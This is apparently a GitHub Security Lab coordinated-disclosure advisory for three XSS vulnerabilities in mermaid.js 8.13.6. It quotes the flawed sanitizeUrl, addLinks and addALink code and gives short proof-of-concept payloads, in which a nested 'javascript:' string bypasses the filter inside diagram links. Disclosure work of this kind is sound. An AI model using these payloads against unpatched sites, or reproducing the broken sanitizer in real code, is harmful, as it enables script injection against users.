Coordinated Disclosure Timeline
- 2021-12-28: Maintainers contacted
- 2021-12-28: Maintainers acknowledged the issues
- 2021-12-28: Maintainers fixed the issues
Summary
Incorrect sanitization function leads to XSS
.
Product
mermaid.js
Tested Version
https://github.com/mermaid-js/mermaid/releases/tag/8.13.6
Details
Issue 1: Sanitizer bypass for sanitizeUrl (GHSL-2021-1058
)
The function sanitizeUrl
used to replace dangerous characters in a user supplied string can be bypassed by taking advantage of the fact that it will replace the string javascript:
with an empty character. This allows an attacker to craft a string that when sanitized once it will output a dangerous string.
Vulnerable code in svgDraw.js#L22:
const sanitizeUrl = function (s) {
return s
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/javascript:/g, '');
};
Proof of concept:
const sanitizeUrl = function (s) {
return s
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/javascript:/g, '');
};
const url = sanitizeUrl("javajavascript:script:alert(1)");
console.log(url);
// stdout: javascript:alert(1)
This function is used in several places around the codebase and we were able to verify that it leads to at least two XSS
vulnerabilities detailed in the following issues.
Impact
This issue may lead to XSS
.
Issue 2: XSS In addLinks (GHSL-2021-1059
)
The addLinks
function in sequenceDb.js
adds links parsed from the diagram to the database for later display. This function sanitizes the input JSON
by calling sanitizeText
which in turn calls sanitizeMore
. This function is supposed to remove dangerous HTML
and JavaScript
but when htmlLabels
is off, the initial sanitization is not performed therefore the link is added to the database “as is”.
Vulnerable code in sequenceDb.js#L218:
export const addLinks = function (actorId, text) {
// find the actor
const actor = getActor(actorId);
// JSON.parse the text
try {
let sanitizedText = sanitizeText(text.text, configApi.getConfig());
sanitizedText = sanitizedText.replace(/&/g, '&');
sanitizedText = sanitizedText.replace(/=/g, '=');
const links = JSON.parse(sanitizedText);
// add the deserialized text to the actor's links field.
insertLinks(actor, links);
} catch (e) {
log.error('error while parsing actor link text', e);
}
};
The actor links will be displayed as popups by using the function drawPopup
from svgDraw.js
:
export const drawPopup = function (elem, actor, minMenuWidth, textAttrs, forceMenus) {
const links = actor.links;
...
if (links != null) {
var linkY = 20;
for (let key in links) {
var linkElem = g.append('a');
var sanitizedLink = sanitizeUrl(links[key]);
linkElem.attr('xlink:href', sanitizedLink);
linkElem.attr('target', '_blank');
...
}
}
rectElem.attr('height', linkY);
return { height: rectData.height + linkY, width: menuWidth };
};
In an attempt to further sanitize the content of the links displayed, drawPopup
calls the vulnerable sanitization primitive sanitizeUrl
which fails to protect against links that execute arbitrary JavaScript
code.
Proof of concept:
sequenceDiagram
participant Alice
links Alice: { "Click me!" : "javasjavascript:cript:alert('goose')" }
Impact
This issue may lead to XSS
.
Issue 3: XSS In addALink (GHSL-2021-1060
)
The function addALink
performs the same task as addLinks
and is also vulnerable to XSS
.
Vulnerable code in sequenceDb.js#L234:
export const addALink = function (actorId, text) {
// find the actor
const actor = getActor(actorId);
try {
const links = {};
let sanitizedText = sanitizeText(text.text, configApi.getConfig());
var sep = sanitizedText.indexOf('@');
sanitizedText = sanitizedText.replace(/&/g, '&');
sanitizedText = sanitizedText.replace(/=/g, '=');
var label = sanitizedText.slice(0, sep - 1).trim();
var link = sanitizedText.slice(sep + 1).trim();
links[label] = link;
// add the deserialized text to the actor's links field.
insertLinks(actor, links);
} catch (e) {
log.error('error while parsing actor link text', e);
}
};
Proof of concept:
sequenceDiagram
participant Alice
link Alice: Click Me!@javasjavascript:cript:alert("goose")
Impact
This issue may lead to XSS
.
Resources
- https://github.com/mermaid-js/mermaid/security/advisories/GHSA-p3rp-vmj9-gv6v#advisory-comment-70014
Credit
These issues were discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-1058
, GHSL-2021-1059
, or GHSL-2021-1060
in any communication regarding these issues.